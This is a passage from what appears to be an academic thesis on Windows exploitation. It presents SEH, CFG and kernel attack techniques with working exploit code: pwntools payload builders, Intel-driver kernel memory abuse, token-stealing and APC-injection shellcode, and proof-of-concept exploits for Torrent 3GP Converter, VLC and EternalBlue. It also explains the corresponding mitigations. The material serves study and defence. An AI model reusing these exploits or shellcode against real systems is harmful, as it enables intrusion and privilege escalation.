POPPOPRET = 0x00407472 # pop ecx; pop ecx; ret;

f = open('payload.bin', 'rb')
shellcode = f.read()

f.close()

p = Process('seh.exe')

p.recvuntil(b'name:\r\n')
p.sendline(

b'a' * divisorOffs

+ p32(0) # overwrites the divisor

+ b'b' * (sehOffs - divisorOffs - 4)

+ asm('nop; nop; .byte 0xeb, 4', 32) # takes 4 bytes

+ p32(POPPOPRET) # pop ecx; pop ecx; ret;

+ shellcode

)

p.interactive()

In this example, the exception is forcibly triggered by writing zero in the divisor of an inte-
ger division. Then an exception handler’s pointer is overwritten by the address of the cho-
sen gadget (poppopret), which redirects the control flow to the address of the SEH Record.
Here the first member is replaced with executable code that jumps after the SEH Record,
where the shellcode has been written.

Figure 5.5 further clarifies the stack layout in the moment the handler is invoked.

The green cells form the SEH Record: the handler is overwritten with the address of the
gadget, while the next pointer is overwritten with executable code.

With an ROP attack. This attack, like the previous one, leverages the fact that the
second parameter of the handler contains the SEH Record address. The idea behind this
one is to perform an ROP attack. The first gadget is pointed to by the handler address. It
has to overwrite the stack pointer with the value of the second parameter and contain a ret
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stack

jmp here+8

POPPOPRET

shellcode..

return from handler

1st param

2nd param: SEH_Record

.

.

.

.

ret

pop ecx

pop ecx

SEH_Record

attacker-

controlled

stack region

stack seen by

the handler

Figure 5.5: SEH mechanism exploited

as usual. In this way, the second gadget is pointed to by the first field of the SEH Record,
which will be used as a return address. So, after skipping the second field (as it is already
used to point to the handler/first gadget) one can perform a normal ROP attack.

Figure 5.6 shows valid gadgets according to the above explanation, along with arrows to
clarify the attack.

ROP + stack pivot. If such a gadget is not present in the executable nor the loaded
modules, or the current stack size is too small, the previously explained stack pivoting
(Section 5.2) can be used. The handler address can be overwritten by the address of
a gadget which performs stack pivoting; the limitation is that stack pivoting has to be
performed with a single gadget.

Ways to trigger an exception. An exception can be force-triggered with input (or
generic interaction) in many ways, which strongly depend on the program characteristics.

• If the program performs an integer division, the divisor can be replaced by zero as
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stack

DUMMY_POP

MOV_ESP_2ND_ARG

ropchain..

return from handler

1st param

2nd param: SEH_Record

.

.

.

.

ret

pop esp

pop edi

pop esi

ret

pop edx

SEH_Record

attacker-

controlled

stack region

stack seen by

the handler

Figure 5.6: SEH mechanism exploited

in the above example,

• if the program makes unchecked memory accesses, it can be forced to read an invalid
address,

• if the program assumes resources availability, they can be claimed by an entity other
than the attacked program, and so on.

5.8 Securing SEH

The PE’s Load Configuration table can contain a list of allowed SEH handlers so that
exploiting the SEH mechanism becomes harder. If this table is present, whenever an
exception handler is about to be called, Windows checks if it is valid, that is, if it is in the
table.

55



However, the aforementioned list only prevents an unintended handler to be called if its
address is within the image address range. If a loaded module lacks the safe handlers table,
then any of its addresses can be used as a handler, thus allowing the attacks described
above.

5.9 Control Flow Guard (CFG)

Sometimes, function pointers are stored in memory, and, as such, they are potentially
vulnerable to being overwritten by an attacker, so that when the pointer is queried to
determine the next instruction, the execution flow can be controlled by an attacker.
The idea of CFG is to instrument each indirect call (that is, a call using a pointer to
function) to check if the called target is valid, according to a compile-time generated table.
The table can be only altered via API calls, which are CFG-invalid, else CFG would be
useless.

CFG support in PE files. The Load Configuration table contains the compile-time
generated list of the valid indirect call targets.

Compilers support. Visual Studio can generate the CFG table for the executable if
/guard:cf is passed to the compiler and linker.

5.10 Bypassing CFG: alternatives

CFG only instruments indirect calls and jumps, so normal ROP attacks can be carried
out without extra effort. However, other methods exist to hijack indirect calls without
triggering the checks performed by CFG.

Back At The Epilogue (BATE). The CFG valid targets are marked by a bitmap that
has 16-byte granularity. This implies that if a target is 16-byte aligned (as it is very
often for cache efficiency), then the bitmap marks the exact valid address. Instead, if
the target is not 16-byte aligned, then the bitmap marks a whole 16-byte range as valid
(the first being intendedAddress & ~15). The BATE attack [1] exploits the inaccurate
granularity of unaligned targets. The attack is based on the assumption that a valid CFG
target is almost always the beginning of a function. This implies that the bytes above
it are likely the epilogue of the previous function in memory. Since the epilogue ends
with the ret instruction and the epilogue often contains pop instructions, epilogues are
perfect candidates as reusable gadgets. The idea of the attack is to use epilogues preceding
unaligned targets as gadgets to perform stack pivoting.
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Whole function reuse. CFG enforces indirect calls to land at the beginning of a function.
However, it does not prevent invocation of a different function from the one intended, as
long as it is CFG-valid. An example attack is described by an Improsec article [22]. It
leverages a vulnerability in a browser to overwrite a Javascript TypedArray’s vtable and
call legitimate functions to achieve the attacker’s desired behaviour. A similar and simpler
version is described below.

This is an extract of the vulnerable example program:

while (1) {

puts("Enter a simple math operation (a[+-*/]b, no spaces) or ? or @ to sum or

multiply five numbers");

fgets(s.buffer, 127, stdin);

if ('0' <= s.buffer[0] && s.buffer[0] <= '9') {

sscanf_s(s.buffer, "%zd%c%zd", &a, &op, 1, &b);

int actualOperation = (op-1)/2 - 20; // * + - / -> 0 1 2 3... but

vulnerable

res = (*s.operators[actualOperation])(a, b);

} else {

sscanf_s(s.buffer, "%c%zd%zd%zd%zd%zd", &op, 1, &a, &b, &c, &d, &e);

int actualOperation = op - 63; // ? @ -> 0 1... but vulnerable

res = (*s.operators5[actualOperation])(a, b, c, d, e);

}

printf("The result is %zd\n", res);

}

The program expects one of two input formats, “num1 op num2” or “op num1 ... num 5”, to
perform an operation with two operands or with up to five. The operations are implemented
with functions pointed by the arrays s.operators and s.operators5. The input character
buffer is correctly bounds-checked, so there is no buffer overflow vulnerability as seen in
previous examples. However, the index which selects the actual operation is not correctly
checked, as it is evaluated using an unsafe “shortcut”. This leads to the possibility to
underflow the array of operator functions, as done in the following exploit portion.

p.recvuntil(b' numbers\r\n')
p.sendline(

b'0'
+ OP_MINUS_4

+ b'9 '
+ b'a' * (OFFS_MINUS_4 - 4)

+ p32(acrtIobFuncAddr)

)

p.recvuntil(b'result is ')
input = p.recvuntil(b'\r\n')
stdin = int(input[:-2], 10)
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The purpose of this code is to obtain the pointer to the C FILE structure that describes the
standard input by calling acrt iob func(0). So, the first operand of the hijacked math
operation is the parameter to the function, while the second operand is just a dummy
value. The operator is a specific character such that the index for the s.operators is
negative and a region within the buffer is interpreted as a function pointer. In this way,
acrt iob func is called as it was an operator, and CFG is unable to stop this because

the function is a valid CFG target. The exploit performs multiple stages in this way to
allocate executable memory, read a shellcode from the standard input into the allocated
memory and execute the shellcode.

5.11 Control-flow Enhancement Technology (CET)

CET is an Intel and AMD extension that allows for further protection of the execution
flow with respect to CFG, as it is implemented in hardware. It features two distinct
functionalities: Indirect Branch Tracking and Shadow Stack.

Indirect Branch Tracking. This CET feature adds a new semantic to specific pre-
existing nop instructions, now endbr32 and endbr64. If this feature is enabled, every
indirect jump and call must land on a valid jump target, marked by the endbr32 instruction
if running in 32-bit mode, else by the endbr64 instruction; else an interrupt is fired.

Shadow Stack. This CET feature adds some instructions, a register, and new bits for
the page table. A mapped page can be marked as user (or supervisor) shadow page. In
this case, the page can only be accessed by specialized instructions (ring 0 only); and by
call/ret. A new register, called SSP (shadow stack pointer), points to a shadow stack page.
When call is executed, the return address is pushed both on the normal stack and in the
shadow stack by the hardware. If CET is enabled but SSP does not point to a shadow
stack, an interrupt is fired. With ret, a value is popped by both stacks, and if they are not
equal, an interrupt is fired. Note that kernel32!SetProcessMitigationPolicy can be
called passing a PROCESS MITIGATION USER SHADOW STACK POLICY structure. However, it
can not be used to disable any part of this protection mechanism that is already enabled.

CET support in PE files. The ExtendedDllCharacteristics field contains the flag
IMAGE DLLCHARACTERISTICS EX CET COMPAT that marks the executable as compatible with
Shadow Stack. Instead, Indirect Branch Tracking support was not added to Windows, as
it is similar to CFG.

Compilers support. In Visual Studio, to make the compiled program compatible with
Shadow Stack, the /CETCOMPAT option has to be passed to the linker.
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Chapter 6

Kernel exploitation

The drivers and the kernel itself run with a higher privilege level than normal programs
and perform different tasks, but they are ultimately software. As such, they can contain
bugs and vulnerabilities that can be exploited using techniques similar to the ones used
for normal programs. In this chapter, Section 6.1 outlines the differences between kernel-
mode and user-mode exploits, along with exploit examples in Section 6.2. Then, Section 6.3
shows what a shellcode can do in kernel mode, and Section 6.4 talks about what mitigations
are employed in drivers and the kernel.

6.1 Differences with user-mode exploitation.

To exploit a kernel vulnerability, additional details must be considered, as there are many
differences in the execution environment. First of all, if an unhandled exception is thrown
in kernel mode, the Operating System will halt, showing the infamous Blue Screen Of
Death, like the one shown in Figure 6.1. It is even possible to make the CPU go in an
invalid state, in which case the computer will directly reset. On the contrary, in user
mode, an unhandled exception will just close the program. This implies that the exploit
must ensure a valid state after terminating. Additionally, most brute-force attacks are
completely unfeasible in kernel mode, as repeated OS crashes will either signal a hardware
failure or a malware attack.

Another difference is that kernel exploits have potential access to system data structures
that are not accessible in user mode. This enables an attacker, for example, to retrieve
private runtime information, disable some security countermeasures, kill processes, and so
on.

The API set is different, too: user-mode DLLs are not callable from kernel mode directly.
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Figure 6.1: Blue Screen of Death

Instead, basic operations are performed by calling the functions exported by the Windows
kernel.

Additionally, kernel memory keep being mapped, whatever user process is currently mapped
and whatever user thread is running.

Finally, interaction with the kernel and drivers is achieved differently, as shown in the
example in Section 6.2.

6.2 Exploit examples

As explained in Section 2.6, the function kernel32!DeviceIoControl is used by a program
to communicate with a driver. The following listing is an example of the usage of the
DeviceIoControl function to interact with the Intel vulnerable driver.
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HANDLE hDevice = CreateFileA("\\\\.\\Nal", FILE_ANY_ACCESS, 0, nullptr,

OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);

assert(INVALID_HANDLE_VALUE != hDevice);

COPY_MEMORY_BUFFER_INFO copy_memory_buffer = { 0 };

copy_memory_buffer.case_number = 0x33;

copy_memory_buffer.source = source;

copy_memory_buffer.destination = destination;

copy_memory_buffer.length = length;

DWORD bytes_returned = 0;

if (!DeviceIoControl(device_handle, ioctl1, &copy_memory_buffer, sizeof(

copy_memory_buffer), nullptr, 0, &bytes_returned, nullptr)) {

printf("Error: %d\n", GetLastError());

}

Devices are opened like normal files, their names start with "\\.\". The DeviceIoControl
function receives the ioctl, along with a structured input buffer and no output buffer. The
COPY MEMORY BUFFER INFO structure is specific to the target driver.

Using the Intel vulnerable driver. The Intel Network Adapter Diagnostic Driver, as
explained in Section 3.5, is vulnerable.

An example that exploits its vulnerabilities is shown below. The exploit program uses the
DeviceIoControl wrapper and helper functions provided in the KdMapper [28] source.
Furthermore, the exploit program mimics the technique used by KdMapper :

1. It uses the Intel vulnerable driver to allocate executable kernel memory.

2. It writes a shellcode into the allocated memory.

3. It hooks a syscall function in the kernel, namely NtAddAtom, to jump to the allocated
memory

4. It calls the user-mode end of NtAddAtom to execute the shellcode.

The small embedded shellcode does nothing else than return the passed argument.

A more detailed explanation follows.

First, some addresses of functions are queried for later use, namely the user-end and the
kernel-end of NtAddAtom and the kernel API function ExAllocatePool2.
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// retrieve some function addresses

HMODULE ntdll = GetModuleHandleA("ntdll.dll");

auto NtAddAtom = GetProcAddress(ntdll, "NtAddAtom");

uint64_t kernel_NtAddAtom = intel_driver::GetKernelModuleExport(hIntel,

intel_driver::ntoskrnlAddr, "NtAddAtom");

uint64_t kernel_ExAllocatePool2 = intel_driver::GetKernelModuleExport(hIntel,

intel_driver::ntoskrnlAddr, "ExAllocatePool2");

Then, executable memory is allocated from the nonpaged pool to contain the shellcode,
which is then copied there.

// allocate executable memory

uint64_t poolFlags = 0x82LLU; // uninitialized, nonpaged_executable

uint64_t executableKernelMemory;

assert(intel_driver::CallKernelFunction<uint64_t, uint64_t, size_t, uint32_t>(

hIntel, &executableKernelMemory, kernel_ExAllocatePool2, poolFlags, 4096, '1337'));

// write shellcode

unsigned char kernelShellcode[] = { 0x48, 0x89, 0xc8, 0xc3 }; // mov rax, rcx; ret

assert(intel_driver::MemCopy(hIntel, executableKernelMemory, reinterpret_cast<

uint64_t>(kernelShellcode), sizeof(kernelShellcode)));

Then, the kernel-end of NtAddAtom is hooked, so that the next time the corresponding
syscall is invoked, the control flow is detoured to the previously allocated memory, that is,
to the shellcode.

// prepare the hook

unsigned char hook[] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 }; // mov

rax, imm64; jmp rax

* (uint64_t *) (hook + 2) = executableKernelMemory;

unsigned char original[sizeof(hook)];

// install the hook

assert(intel_driver::ReadMemory(hIntel, kernel_NtAddAtom, original, sizeof(hook)));

assert(intel_driver::WriteToReadOnlyMemory(hIntel, kernel_NtAddAtom, hook, sizeof(

hook)));

Hooking a syscall in this way is prone to cause bugs in other processes. For this reason,
the authors of KdMapper chose a rarely used function such as NtAddAtom.

Then, the user-end of NtAddAtom is called to execute the shellcode.

// execute the shellcode

auto callableNtAddAtom = reinterpret_cast<uint64_t (__stdcall *) (void *)>(

NtAddAtom);

uint64_t value = callableNtAddAtom(0xdeadc0de);

printf("Shellcode returned: %llx\n", value);
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Finally, the hook is removed and the normal behaviour of NtAddAtom is restored.

//uninstall the hook

assert(intel_driver::WriteToReadOnlyMemory(hIntel, kernel_NtAddAtom, original,

sizeof(hook)));

For brevity, prints in the above code were removed; the following is the output of the
program when run:

C:\code>intelExploit.exe

Intel driver loaded

User-mode end of NtAddAtom: 0x00007FF8`464CD810
Kernel-mode end of NtAddAtom: 0xfffff806`1c954390
Hooked user-end of NtAddAtom

Called user-end of NtAddAtom; shellocde returned: 0xdeadc0de

Unhooked NtAddAtom

Intel driver unloaded

6.3 Kernel shellcoding

A kernel shellcode can read and write important system structures to achieve various goals:

• hide a process from other processes,

• elevate a process’ privileges,

• kill a process or modify its memory,

• disable some protection mechanisms,

• leak data,

• and more.

An example of kernel shellcode is shown below. It was written by Sean Dillion, a.k.a.
ZeroSum0x0, for Windows 7.

The shellcode installs a custom syscall handler; the old one is saved in the fixed address heap
of the Hardware Abstraction Layer module, or HAL. The custom handler searches for the
spoolsv.exe process and, in the context of one of its threads, it schedules an Asynchronous
Procedure Call that will run a user-mode shellcode. Finally, the custom syscall handler
restores the default syscall handler and calls it.

To install a custom syscall handler, the IA32 LSTAR Model Specific Register, or MSR for
short, has to be modified to the address of the syscall handler.
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; read the pointer to the syscall handler

mov ecx, IA32_LSTAR

rdmsr

; save it in the HAL heap

movabs rbx, 0xffffffffffd00ff8

mov DWORD PTR [rbx + 0x4], edx

mov DWORD PTR [rbx], eax

; install a new syscall handler

lea rax, [syscallCustomHandler]

mov rdx, rax

shr rdx, 0x20

wrmsr

Then, when the next syscall will be invoked, the control flow will reach the custom syscall
handler. The custom syscall handler mimics the default one, which sets up the kernel
stack, saves registers, and so on.

Then, the syscall handler retrieves the first interrupt handler, which belongs to the Win-
dows kernel. By repeatedly subtracting a page size, the MZ signature will reveal the kernel
base address.

mov r15, QWORD PTR gs:[0x38] ; KPCR.IdtBase

mov r15, QWORD PTR [r15 + 0x4] ; a handler from an IDT entry

shr r15, 0xc ; zero-out the flags in the low bits

shl r15, 0xc

loopSearchForNtosBase:

sub r15, 0x1000

mov rsi, QWORD PTR [r15]

cmp si, 0x5a4d ; "MZ"

jne loopSearchForNtosBase

Knowing the base address of the kernel, its PE headers can be parsed and its exported
functions can be used by the shellcode.

Then, the code looks for the spoolsv.exe process, which is considered to be installed and
running on all Windows versions; it is searched by passing all possible PID values to the
function PsLookupProcessByProcessId.
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xor ebx, ebx

loopSearchSpoolProcess: ; for (ebx = 0; ebx <= 0x10000; ebx += 4)

mov ecx, ebx

add ecx, 0x4

cmp ecx, 0x10000

jge kernelMainEnd

mov rdx, r14 ; it will point to a pointer to an EPROCESS structure

mov ebx, ecx

mov r11d, 0x4ba25566 ; hash of PsLookupProcessByProcessId

call callExportInModule

test eax, eax

jnz loopSearchSpoolProcess

mov rcx, QWORD PTR [r14]

mov r11d, 0x2d726fa3 ; hash of PsGetProcessImageFileName

call callExportInModule

mov rsi, rax

call hashOfUpperCase

cmp r9d, 0xdd1f77bf ; hash of spoolsv.exe

jne loopSearchSpoolProcess

Then, the code attaches the current thread to spoolsv.exe with the KeStackAttachProcess
function, allocates executable user-mode memory with the ZwAllocateVirtualMemory

function and it copies the user-mode shellcode in the allocated memory using the movsb

instruction.

Then, an alertable thread is searched for:

mov rsi, rbx

add rsi, 0x308 ; thead list head inside EPROCESS in Windows 6.1

mov rcx, rsi

loopSearchForTheThread: ; any Alertable thread

mov rdx, QWORD PTR [rcx] ; next thread

sub rdx, r12 ; 0x420; ETHREAD.ThreadListEntry to ETHREAD base

push rcx

push rdx

mov rcx, rdx

sub rsp, 0x20

mov r11d, 0x9d364026 ; hash of PsGetThreadTeb

call callExportInModule

The thread’s TEB is first queried, then the structure is inspected for the desired flags.
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add rsp, 0x20

pop rdx

pop rcx

test rax, rax

jz nextThread

add rdx, 0x4c ; MiscFlags in KTHREAD in ETHREAD

mov eax, DWORD PTR [rdx]

bt eax, 0x5 ; in version 6.1: Alertable flag

jc foundThread

nextThread:

mov rcx, QWORD PTR [rcx]

jmp loopSearchForTheThread

foundThread:

The alertable thread is then used to execute an Asynchronous Procedure Call to run the
user-mode shellcode.

mov r11d, 0x4b55ceac ; hash of KeInitializeApc

call callExportInModule

xor edx, edx

push rdx

push rdx

pop r8

pop r9

mov rcx, r12

mov r11d, 0x9e093818 ; hash of KeInsertQueueApc

call callExportInModule

Finally, the custom syscall handler restores the former handler and calls it

movabs rax, ds:0xffffffffffd00ff8

mov rdx, rax

shr rdx, 0x20

xor rbx, rbx

dec ebx

and rax, rbx

xor rcx, rcx

mov ecx, IA32_LSTAR

wrmsr

; ...

swapgs

notrack jmp QWORD PTR ds:0xffffffffffd00ff8

Token stealing is a technique to elevate a process’ privileges by replacing the access
token of the current process with the one of the System process. It can be achieved with
a shellcode, like the one written by Winterknife [29], presented below.
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The shellcode works on multiple Windows versions by looking at the NtMajorVersion,
NtMinorVersion, and NtBuildNumber fields in the KUSER SHARED DATA:

mov rcx, 0FFFFF78000000000h ; ECX = nt!_KUSER_SHARED_DATA VA

add eax, [rcx + 26Ch] ; EAX = EAX + nt!_KUSER_SHARED_DATA.NtMajorVersion

add eax, [rcx + 270h] ; EAX = EAX + nt!_KUSER_SHARED_DATA.NtMinorVersion

cmp eax, 7d ; if (EAX == 7) => Win7/Server 2008 R2, set EFLAGS.ZF!

jz win7 ; jump if EFLAGS.ZF == 1 to win7 label

; ...

win7:

mov r9, 188h ; R9 = FIELD_OFFSET(nt!_EPROCESS, ActiveProcessLinks)

mov r10, 208h ; R10 = FIELD_OFFSET(nt!_EPROCESS, Token)

jmp offsets_resolved ; done assigning version-bound offsets

Then, the shellcode retrieves the current KTHREAD object from the KPCR pointed to by
the gs segment register. In the KTHREAD there is the current KPROCESS object; its pointer
is saved in the rcx register.

mov rax, gs:[188h] ; RAX = *(gsbase + 0x188) = current nt!_KTHREAD VA

mov rax, [rax + 220h] ; RAX = nt!_KTHREAD.Process = current nt!_KPROCESS VA

mov rcx, rax ; RCX = RAX = current nt!_KPROCESS/nt!_EPROCESS VA

Then, the linked list of KPROCESSes inside KPROCESS itself is walked to search for the
System process, which has always 4 as PID.

add rax, r9 ; RAX += R9 -> current nt!_EPROCESS.ActiveProcessLinks VA

search_system_process:

mov rax, [rax] ; RAX = *(RAX) = next nt!_EPROCESS.ActiveProcessLinks VA

cmp qword [rax - 8h], 4h ; if (*(RAX - 0x8) == 0x4) => System process found

jnz search_system_process ; jump if EFLAGS.ZF == 0 to repeat the loop

Finally, the current process’ token is replaced by the token from the System process.

sub rax, r9 ; RAX = RAX - R9 = System nt!_EPROCESS VA

mov rax, [rax + r10] ; RAX = System nt!_EPROCESS.Token = nt!_EX_FAST_REF.Object

and al, F0h ; AL &= 0xF0, mask off lowest nibble to ignore RefCnt field

mov rdx, [rcx + r10] ; RDX = current nt!_EPROCESS.Token = nt!_EX_FAST_REF.Object

and rdx, 0Fh ; RDX = RDX & 0xF = nt!_EX_FAST_REF.RefCnt of current process

add rax, rdx ; RAX = RAX + RDX, System Token with

; process's nt!_EX_FAST_REF.RefCnt

mov [rcx + r10], rax ; overwrite current nt!_EPROCESS.Token with the System's one

6.4 Kernel mitigations

In kernel mode, there are mitigations too, many of which are just the same as their user-
mode counterparts.
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KASLR is the kernel-mode equivalent of ASLR, with some additional features. Many
data structures created by the Windows kernel used to be at fixed addresses, for example,
the Page Table Entries and the Hardware Abstraction Layer’s heap. These and other
structures were gradually moved at randomized addresses in different Windows versions.

SMEP and SMAP are two hardware protection mechanisms that enforce the separation
between user pages and kernel pages. SMEP stands for Supervisor Mode Execution Pre-
vention and, if enabled, the CPU will fire an interrupt when the control flow goes to a
user page if running in ring 0. Instead, SMAP, which stands for Supervisor Mode Access
Prevention, fires the interrupt when a user page is read or written, explicitly (as in mov)
or implicitly (as in a GDT entry access). SMAP is more general than SMEP, as executing
an instruction implies fetching it from memory.
SMEP and SMAP are enabled by setting the 20th and 21st bit, respectively, of the cr4
register.

Kernel Patch Protection, informally called PatchGuard, is a protection mechanism
that detects if crucial kernel data and code were tampered with by third-party software.
For example, before its introduction, many anti-virus programs used to install hooks and
alter special registers and data structures to achieve complete system monitoring. While
this approach was very effective, it was also the major cause of OS crashes, according to
Microsoft, that eventually created PatchGuard. Malware can take advantage of the same
patching techniques too, so PatchGuard is also a security measure.

It works by performing periodic checks on the integrity of code and data structures. These
are some of the prohibited modifications that PatchGuard monitors:

• patching code in the kernel, HAL or the NDIS network library,

• modifying the Interrupt Descriptor Table or the Global Descriptor Table,

• using kernel stacks not allocated by the kernel,

• modifying the LSTAR MSR to intercept all syscalls.

Other mitigations are in place, namely DEP, Security Cookies, CFG, CET, and more.
They are implemented exactly like their user-mode counterparts, so they are not further
discussed.
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Chapter 7

Real world examples

Before this point, exploits have been presented on very simple programs which had specif-
ically been written to demonstrate exploit techniques. Moreover, many mitigations that
are in place today were presented and new ones will arise. Additionally, there exist some
coding guidelines and best practices to avoid vulnerabilities by design or to reduce their
likelihood. Consequently, one may think that exploitable vulnerabilities are just a rare
condition.

Despite the publicly available information being so wide, vulnerabilities are a concrete
problem to this day [2, 7, 19, 26]. In this chapter, some exploits on real programs are
presented to show that vulnerable programs are not so uncommon.

First, a buffer overflow in Torrent 3GP Converter is exploited to inject a shellcode in
Section 7.1. Then, in Section 7.2, VLC is attacked exploiting the SEH mechanism to
achieve arbitrary code execution. Finally, Section 7.3 talks about EternalBlue, the infamous
exploit used by WannaCry and NotPetya attacks [24]. It is an exploit of the Windows SMB
server driver that allows kernel-mode remote code execution.

7.1 Jump to heap in Torrent 3GP Converter

Torrent 3GP Converter is a program that allows the user to convert video files between
popular file formats. A free trial version is available, but the license key field has a buffer
overflow vulnerability that can be exploited.

Vulnerable part. The buffer overflow allows writing a large number of bytes in the
stack when entering the license key. To simplify the validity check of the license key, all
lowercase letters are converted to uppercase, so the payload must avoid bytes corresponding
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to lowercase letters. The null byte is also forbidden, it is replaced by 0x20 unless it is the
last byte, in which case it is discarded; other forbidden bytes must be avoided too.

Figure 7.1: Torrent 3GP vulnerable field

Exploit. The main executable and some loaded DLLs do not support ASLR, so they are
loaded at fixed addresses. However, an ROP attack is not viable, as all the executable’s
addresses start with the null byte and the DLLs’ addresses with a lowercase letter.

DEP is not enabled, so a single gadget can be used to go to the shellcode injected along the
payload. Considering the forbidden bytes, no actual address can be written to the saved
return address unless it ends with zero. This implies that the overwritten return address
must be the last thing in the payload. This makes the jmp esp instruction not viable, as it
would jump after the overwritten return address and that memory part is not controllable
by the attacker.

A more sophisticated gadget could be searched for, but it is unnecessary: when the over-
written return address is read, the esi register points to a heap-allocated buffer that
contains the payload too. So a jmp esi instruction is enough to reach the shellcode, if it
is put at the beginning of the payload. An excerpt from the PoC script follows.
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shellcode = b''
shellcode += b'\x89\xf7' # mov edi, esi; replacement for GetPC

shellcode += b"\x57\x59\x49"

shellcode += b"\x49\x49\x49\x43\x43\x43\x43\x43\x43\x51\x5a"

# ...

payload = (

shellcode +

b'a' * (RET_ADDR_OFFS - len(shellcode)) +

p32(JMP_ESI)

)

with open('evil.txt', 'wb') as f:

f.write(payload)

print('payload written in evil.txt')

To deliver the exploit, the PoC script has to be run, then the content of the generated file
has to be pasted in the text field of the license key.

Another way to exploit this vulnerability would be to overwrite a program’s SEH Record

to redirect the control flow to the stack.

7.2 SEH overwrite in VLC

VLC is a popular video and audio player. In version v0.8.6e, a 2008 public version, there is
a buffer overflow vulnerability in the function that parses subtitles. The vulnerability also
has an associated CVE (Common Vulnerabilities and Exposures) number: CVE-2008-1881.

Vulnerability. The subtitles parsing function invokes sscanf with an unsafe format
string, that is, a format string that allows an unbounded number of characters to be stored
in the buffer pointed by a parameter:

"Dialogue: %[^,],%d:%d:%d.%d,%d:%d:%d.%d,%81920[^\r\n]"

The "%[^,]" part means: “an unbounded sequence of characters different from comma”;
a newline or a null character terminates the scan too.

The following disassembled code shows the vulnerable part.
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lea edx, [esp + 0x70] ; buffer in the stack

mov ecx, unsafeFormatString

; ...

mov [esp + 8], edx ; 3rd parameter

mov [esp + 4], ecx ; 2nd parameter

; ...

call sscanf

The first parameter to sscanf is a string containing a single line of the subtitles file.

Exploit. To exploit the vulnerability, the payload has to be delivered via the subtitles
file, which is created by the PoC script. The buffer overflow is exploited to overwrite
a msvcrt.dll’s SEH Record; in the process, the return address is overwritten with junk
to trigger an exception. The maliciously-crafted payload also makes the function return
right after the sscanf call without further memory reads, simplifying the payload crafting
process.

with open('Bof-VLC.ssa', 'wb') as f:

payload = (

SSA_SKELETON + # bare bones subtitle file

b'a' * (SEH_RECORD_OFFS - lenSc - 8) +

shellcode +

b'\x90\x90\x90\xe9' + # jmp rel32 to shellcode

p32(jmpTarget) +

b'\xeb\xf9\x90\x90' + # begin of SEH_Record; jmp rel8 to jmp rel32 (-7)

p32(POPPOPRET) # custom exception handler

)

f.write(payload)

Despite being a real-world example, the exploit is pretty similar to the one shown on the
example program, which was specifically made to explain the technique.

7.3 EternalBlue exploit on Windows SMBv1 server

EternalBlue is a vulnerability of the Lanman server driver, also called SMBv1 Server
because it handles incoming SMBv1 protocol messages. The SMBv1 protocol allows for
shared access to files and printers. The SMBv1 Server listens on port 445 and it is enabled
by default in some past Windows versions, like Windows 7, Windows 8, Windows Server
2008, and others. It has multiple vulnerabilities, which, if combined, allow for arbitrary
remote code execution. Additionally, it is a driver, so the remote code runs at ring 0, that
is, with kernel privileges, making it a very dangerous vulnerability.

Vulnerabilities. The EternalBlue exploit takes advantage of three different bugs.
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Figure 7.2: VLC exploited

When converting an OS/2 File Extended Attributes structure, FEA for short, to a Windows
FEA structure, or NT FEA, an arithmetic overflow makes the program think that the input
buffer is bigger than the actual allocated size. Additionally, when a payload is too big to fit
in a single packet of type SMB COM TRANSACTION2 or SMB COM NT TRANSACT,
more packets follow to send the additional data. The latter type uses four bytes to count
the size of the payload, while the former uses two. In the case of consecutive packets
conveying a single logical message, the packets are allowed to have different types and they
will be converted to the last packet’s format. However, the allocated memory will depend
on the first packet, so this can be combined with the first bug to trigger a buffer overflow
in non-paged memory.

Another bug allows for heap spraying, that is, triggering a heap allocation multiple times
with attacker-controlled content. Heap spraying allows to write an executable shellcode in
the heap, that is then executed leveraging the buffer overflow.

Exploit. A PoC script from Worawit [30] is shown in Listing 7.1. The script shows how
to trigger the buffer overflow. Random data is written, so the effect is to perform a Denial
of Service attack, that is, crash the attacked computer showing a BSOD. The payload is
structured as follows:
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typedef struct _FEA { /* fea */

BYTE fEA; /* flags */

BYTE cbName; /* name length not including NULL */

USHORT cbValue; /* value length */

} FEA, *PFEA;

typedef struct _FEALIST { /* feal */

DWORD cbList; /* total bytes of structure including full list */

FEA list[1]; /* variable length FEA structures */

} FEALIST, *PFEALIST;

FEA stands for File Extended Attribute. Each FEA structure is followed by two strings
separated by a null byte. The strings are cbName and cbValue long, respectively. The
next FEA is located after the second string. So, in the PoC script, 0x10000 is written in
the cbList field and two FEAs of 0xc003 and 0xcc00 bytes are sent. The server allocates
space as dictated by cbList, which is 0x10000. However, the last packet of the transaction
will be in the OS/2 format, so the arithmetic overflow will set the input data size to:

(0x10000 & 0xffff0000) | (0xc003 & 0xffff)

That is, only the low word of the packet size is overwritten and the buffer is processed as
if 0x1c003 bytes were allocated. The intended behaviour is to discard the second FEA and
process 0xc003 bytes.

payload = p32(0x10000) # FEALIST.cbList

payload += b'\x00' + b'\x00' + p16(0xc003) + b'A'*0xc004 # FEA

payload += b'\x00' + b'\x00' + p16(0xcc00) + 'B'*0x4000
conn.send_nt_trans(2, setup=p16(TRANS2_OPEN2), mid=mid, param='\x00'*30, data=payload

[:1000], totalDataCount=len(payload))

i = 1000

while i < len(payload):

sendSize = min(4096, len(payload) - i)

if len(payload) - i <= 4096:

conn.send_nt_trans_secondary(mid, data=payload[i:i+sendSize], dataDisplacement=

i)

else:

conn.send_trans2_secondary(mid, data=payload[i:i+sendSize], dataDisplacement=i)

i += sendSize

Listing 7.1: EternalBlue Proof of Concepts

Furthermore, a PoC script from ExpoitDb [23] that contains the full exploit was tested.
Figure 7.3 shows two virtual machines in which one gains access to the other using the PoC
script. It uses the buffer overflow and heap spraying to execute a kernel-mode shellcode,
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which in turn executes a user-mode shellcode that connects a reverse shell [9] to a listening
instance of netcat.

Figure 7.3: EternalBlue test

75



Chapter 8

Conclusions

Different low-level exploitation and mitigation techniques for Windows programs and drivers
were explored. Some mitigations only require compiler support, while some are imple-
mented in the Windows Operating Systems. Other mitigations require both compiler and
OS support.

To understand the exploits, some relevant Windows internal details were reviewed, both
at high and low level. To develop the exploits, many helping tools that we presented were
used, along with debuggers and debug techniques.

Kernel exploitation was examined too. Kernel exploits allow for a wider set of operations
because code executing in kernel mode has a higher privilege level. However, kernel ex-
ploits require special conditions which are harder to be met, that is, the ability to load
a known vulnerable driver, or an already loaded vulnerable driver. Unfortunately, there
is no blacklist mechanism to block known vulnerable drivers and the signature expiration
date is not enforced. Exploiting a kernel vulnerability is possible too, however kernel vul-
